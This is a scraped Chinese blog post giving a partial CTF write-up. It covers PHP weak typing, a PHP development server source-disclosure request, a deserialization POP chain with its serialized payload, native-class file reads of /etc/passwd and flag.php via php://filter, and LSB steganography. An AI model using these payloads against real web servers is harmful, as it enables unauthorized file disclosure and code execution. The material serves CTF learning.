【黄河流域公安院校网络空间安全技能挑战赛】部分wp

news/2024/5/3 17:42:47/文章来源:https://blog.csdn.net/qq_61839115/article/details/129380934

文章目录

    • web
      • babyPHP
      • funnyPHP
      • Ezphp
        • **遍历文件目录的类**
          • 1、DirectoryIterator:
          • 2、FilesystemIterator:
          • 3、**Globlterator**
        • 读取文件内容的类:
          • SplFileObject
    • Misc
      • 套娃

web

babyPHP

<?php
highlight_file(__FILE__);
error_reporting(0);$num = $_GET['num'];if (preg_match("/\'|\"|\`| |<|>|?|\^|%|\$/", $num)) {die("nononno");
}if (eval("return ${num} != 2;") && $num == 0 && is_numeric($num) != true) {system('cat flag.php');
} else {echo '2';
}

仔细读题,主要考察php弱类型比较,我们可以直接传字母就行:

http://43.138.65.13:2025/?num=a

funnyPHP

我们访问的路径为:

http://47.104.14.160:3344/hint.php

image-20230305132410885

当我们访问根目录时:

image-20230305132555645

可以判断这里为: php Development Server 启动的服务

image-20230305132904876

查询得知,这里考察的是 PHP<=7.4.21 Development Server源码泄露漏洞

GET /puzzle.php HTTP/1.1 
Host: pd.research
\r\n
\r\n
GET / HTTP/1.1
\r\n
\r\n

当我们以如上方式发送数据包时,我们可以获得 puzzle.php 的源码:

image-20230305133507277

使用bp时要注意,我们要把 自动填充 content-length关闭掉

image-20230305133431311

源码如下:

<?php
error_reporting(0);class A{public $sdpc = ["welcome" => "yeah, something hidden."];function __call($name, $arguments){$this->$name[$name]();}}class B{public $a;function __construct(){$this->a = new A();}function __toString(){echo $this->a->sdpc["welcome"]; //对大家表示欢迎}}class C{public $b;protected $c;function __construct(){$this->c = new B();}function __destruct(){$this->b ? $this->c->sdpc('welcom') : 'welcome!'.$this->c; //变着法欢迎大家}
}class Evil{function getflag() {echo file_get_contents('/fl4g');}
}if(isset($_POST['sdpc'])) {unserialize($_POST['sdpc']);
} else {serialize(new C());
}?>

这是一个反序列化漏洞,我们可以如下构造:

<?php
error_reporting(0);class A
{public $sdpc;function __construct() {$this->sdpc = array("sdpc" => array(new Evil(),'getflag'));}//注意修改$sdpc的值为一个数组 //array('sdpc'=>array(new Evil(),'getflag'))function __call($name, $arguments){$name[$name]();}
}class B
{public $a;function __construct(){$this->a = new A();}function __toString(){echo $this->a->sdpc["welcome"]; //对大家表示欢迎}
}class C
{public $b;protected $c;function __construct(){$this->c = new A(); //注意修改为创建A类对象}function __destruct(){$this->b ? $this->c->sdpc('welcom') : 'welcome!' . $this->c; //给b赋值 ,触发 ___call}
}class Evil
{function getflag(){echo '1';file_get_contents('/fl4g');}
}$ca = new A();
$cb = new B();
$cc = new C();$cc->b = 'sp4c1ous';echo urlencode(serialize($cc));

payload:

sdpc=O%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22b%22%3Bs%3A8%3A%22sp4c1ous%22%3Bs%3A4%3A%22%00%2A%00c%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A4%3A%22sdpc%22%3Ba%3A1%3A%7Bs%3A4%3A%22sdpc%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Evil%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22getflag%22%3B%7D%7D%7D%7D

这里有一个点:

<?php
class Evil
{function getflag(){echo '1';}
}
print_r(array(new Evil(),'getflag')());
//输出: 1

array(new Evil(),'getflag')()

这样子相当于 Evil对象eval调用它的getflag()方法: eval::getflag()

这里不是很懂

Ezphp

<?php
error_reporting(0);
highlight_file(__FILE__);
$g = $_GET['g'];
$t = $_GET['t'];
echo new $g($t); 

这个地方直接要我们创建对象,但是又没有自定义类,所以我们应该寻找php原生类

最初我想到的是 ErrorException类,但是没什么用,可以用来执行xss漏洞

然后我找到了如下几个类:

遍历文件目录的类

  • DirectoryIterator
  • FilesystemIterator
  • GlobIterator
1、DirectoryIterator:

会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名

我们可以配合glob协议 模式匹配来寻找我们想要的文件路径:

http://43.138.65.13:2023/?g=DirectoryIterator&t=glob:///var/www/h*
//回显:html

我们想要得到路径下所有的文件、目录,需要遍历输出:

$a = new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().'<br>');
}
2、FilesystemIterator:

和上面差不多:

$a = new FilesystemIterator("glob:///*");
foreach($a as $f){echo($f->__toString().'<br>');
}
3、Globlterator

与前两个类的作用相似,GlobIterator 类也是可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。

在这个类中不需要配合glob伪协议,可以直接使用 传参直接给路径就行

读取文件内容的类:

SplFileObject

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作。

SplFileObject继承自 SplFileInfo

image-20230305141449069
http://43.138.65.13:2023/?g=SplFileObject&t=/etc/passwd

读取到了 /etc/passwd 内容

这里我们可以结合php伪协议:

http://43.138.65.13:2023/?g=SplFileObject&t=php://filter/convert.base64-encode/resource=flag.php

image-20230305141633305

成功读取flag

相关文章

Misc

套娃

image-20230305143100126

解压密码在最底下

image-20230305143139692

打开txt文件,ZjRrM19rM3k= base64解密是一个假的key

我们滑倒txt文件最底下:

image-20230305143356892

有一大堆不可见的东西,在记事本打开:

image-20230305143335614

发现没有什么,这因该是零宽字符

零宽字符解密

image-20230305143503869

XzFzX0U0NXk= 解密得到key:_1s_E45y

然后我们观察一下图片,猜测是 lsb隐写

image-20230305144102200

但是 stegsolve 得到一串不知道什么得东西,我们猜测这是加密的lsb隐写,

我们可以使用 lsb隐写脚本: cloacked-pixel

结合之前我们得到的key,我们解密:

python2 lsb.py extract encode.png flag.txt _1s_E45y

image-20230305144553874

得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_267371.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

小程序技术如何提升企业的移动研发效率?

随着移动互联网的普及&#xff0c;移动应用程序已成为企业营销和服务的重要途径。随着技术的不断发展和革新&#xff0c;移动应用程序的开发方式也在不断地演变。 一些技术趋势 1、跨平台开发 跨平台开发已成为移动应用程序开发的趋势。根据 Statista 的报告&#xff0c;截至…

matplotlib: 绘制柱状图

通过matplotlib绘制柱形图 第一个例子 from matplotlib import pyplot as plty [10, 11, 12, 11, 9, 8, 13, 10] # 创建y轴坐标 x list(range(1,9)) # 创建x轴坐标# 创建x轴显示的参数&#xff08;此功能在与在图像中x轴仅显示能被10整除的刻度&#xff0c;避免刻度过多分…

概率论小课堂:泊松分布(完善你对随机性的认识,特别是对风险防范的认识)

文章目录引言I 泊松分布1.1 概率计算公式1.2 应对随机性&#xff0c;需要的冗余比平均值要大1.3 池子越大&#xff0c;越能抵消随机性带来的误差引言 伯努利试验&#xff1a;解释了随机事件的发生概率在理论和现实中的差距泊松分布&#xff1a;进一步完善你对随机性的认识&…

OpenCV各模块函数使用实例(11)--- 矩阵和数组操作(Operations on arrays)

OpenCV各模块函数使用实例&#xff08;11&#xff09;M、矩阵和数组操作&#xff08;Operations on arrays&#xff09;本节描述矩阵的基本操作&#xff0c;这些操作是图像处理和其他数组算法实现的基本操作&#xff0c;包括矩阵的运算&#xff0c;特征值和特征向量&#xff0c…

react router零基础使用教程

安装既然学习 react router 就免不了运行 react安装 reactnpx create-react-app my-appcd my-appnpm start安装 react routernpm install react-router-dom如果一切正常&#xff0c;就让我们打开 index.js 文件。配置路由引入 react-router-dom 的 RouterProviderimport {Route…

RTOS中的消息队列的原理以及应用

消息队列的原理 RTOS中的消息队列是一种用于任务间通信的机制&#xff0c;它可以实现任务之间的异步通信&#xff0c;从而实现任务间的解耦。消息队列是一个先进先出的数据结构&#xff0c;任务可以向队列中发送消息&#xff0c;也可以从队列中接收消息。 消息队列的原理如下…

Web3中的营销:如何在2023年获得优势

Mar. 2022, Daniel在过去的一年里&#xff0c;让人们对你的Web3项目或协议感兴趣已经变得越来越有挑战性。许多曾经充满希望的项目因为各种不同的原因&#xff0c;都在熊市中倒下了。然而&#xff0c;那些迄今为止幸存下来的项目都有一个共同点&#xff1a;强大的社区。Web3营销…

Spark 平衡 CPU

Spark 平衡 CPUCPU/内存平衡CPU 低效线程挂起调度开销优化 CPUCPU/内存平衡 Spark 将内存分 : Execution Memory : 用于分布式任务执行Storage Memory : 用于 RDD 缓存RDD 缓存展开前消耗 Execution Memory , 最后占用 Storage Memory 线程/执行内存关系&#xff1a; 执行内…

2.3 二分搜索技术

二分搜索算法是运用分治策略的典型例子。给定己排好府的 n个元素a10:n-1]&#xff0c;现要在这n个元素中找出一特定元素3。首先较容易想到的是用顺序搜索方法&#xff0c;逐个比较a10:1-1]中元素&#xff0c;直至找出元素&#xff0c;或搜索遍整个数组后确定&#xff0c;不在其…

字节3次都没裁掉的7年老测试。掌握设计业务与技术方案,打开上升通道!

前言职场中的那些魔幻操作&#xff0c;研发最烦的是哪个&#xff1f;“面对业务需求的时候&#xff0c;可能都听过这样一句话&#xff1a;这个很简单&#xff0c;直接开发&#xff0c;三天内上线&#xff1b;”朋友说&#xff1a;“产品听了流泪&#xff0c;测试见了崩溃&#…

元宇宙、区块链 通俗易懂

什么是区块链&#xff1f;比特币挖矿是什么&#xff1f;元宇宙是什么&#xff1f;Web(万维网)的三权化进化&#xff1a;基于此&#xff0c;介绍下“元宇宙”。1992年&#xff0c;美国作家史蒂芬森在《雪崩》一书中首次提出了“元宇宙(Metaverse)”的概念。元宇宙实际上就是一种…

[Python图像处理] 使用高通滤波器实现同态滤波

使用高通滤波器实现同态滤波同态滤波基础实现同态滤波相关链接同态滤波基础 同态滤波是一种去除图像中乘性噪声的技术&#xff0c;常用于校正图像中的不均匀照明。根据图像形成的光照反射模型&#xff0c;图像 f(x,y)f(x,y)f(x,y) 可以由以下两个分量表征&#xff1a; 入射到…

一篇深入解析BTF 实践指南

BPF 是 Linux 内核中基于寄存器的虚拟机&#xff0c;可安全、高效和事件驱动的方式执行加载至内核的字节码。与内核模块不同&#xff0c;BPF 程序经过验证以确保它们终止并且不包含任何可能锁定内核的循环。BPF 程序允许调用的内核函数也受到限制&#xff0c;以确保最大的安全性…

scratch老鹰捉小鸡 电子学会图形化编程scratch等级考试二级真题和答案解析2022年12月

目录 scratch老鹰捉小鸡 一、题目要求 1、准备工作 2、功能实现 二、案例分析 <

分布式系统中的补偿机制设计问题

我们知道&#xff0c;应用系统在分布式的情况下&#xff0c;在通信时会有着一个显著的问题&#xff0c;即一个业务流程往往需要组合一组服务&#xff0c;且单单一次通信可能会经过 DNS 服务&#xff0c;网卡、交换机、路由器、负载均衡等设备&#xff0c;而这些服务于设备都不一…

使用flex弹性造APP首页轮子【前端Flex弹性布局】

文章目录一.使用flex弹性造一个APP首页轮子二.需求分析和完成步骤三.效果预览:一.使用flex弹性造一个APP首页轮子 这是内科大企业课(全栈开发_web前端的课程)&#xff0c;需求如下&#xff1a; 使用Flex弹性布局&#xff0c;仿写下面的页面&#xff1a; 二.需求分析和完成步…

Ubuntu系统升级16.04升级18.04

一、需求说明 作为Linux发行版中的后起之秀&#xff0c;Ubuntu 在短短几年时间里便迅速成长为从Linux初学者到实验室用计算机/服务器都适合使用的发行版&#xff0c;目前官网最新版本是22.04。Ubuntu16.04是2016年4月发行的版本&#xff0c;于2019年4月停止更新维护。很多软件支…

剑指 Offer 58 - 翻转单词顺序

摘要 剑指 Offer 58 - I. 翻转单词顺序 一、双指针解析 算法解析&#xff1a; 倒序遍历字符串s &#xff0c;记录单词左右索引边界i , j&#xff1b;每确定一个单词的边界&#xff0c;则将其添加至单词列表res&#xff1b;最终&#xff0c;将单词列表拼接为字符串&#xff…

九龙证券“风光储锂芯”集体回暖 创业板指探低回升

周一&#xff0c;A股三大指数体现分解&#xff0c;沪指微跌&#xff0c;创业板指探低上升小幅上涨。盘面上&#xff0c;“风景储锂芯”集体反弹&#xff0c;6G概念再度大涨&#xff0c;消费股午后逆势走强&#xff0c;酒店旅游方向领涨&#xff0c;而前期热门的数字经济概念震动…

Ubuntu下安装Docker

大家好&#xff0c;我是中国码农摘星人。 欢迎分享/收藏/赞/在看&#xff01; 文章目录1 安装Docker1.1 使用官方安装脚本自动安装 &#xff08;仅适用于公网环境&#xff09;1.2 手动安装帮助1.2.1 Ubuntu 14.04 16.04 (使用apt-get进行安装)2 安装校验3 镜像加速器3.1 安装&a…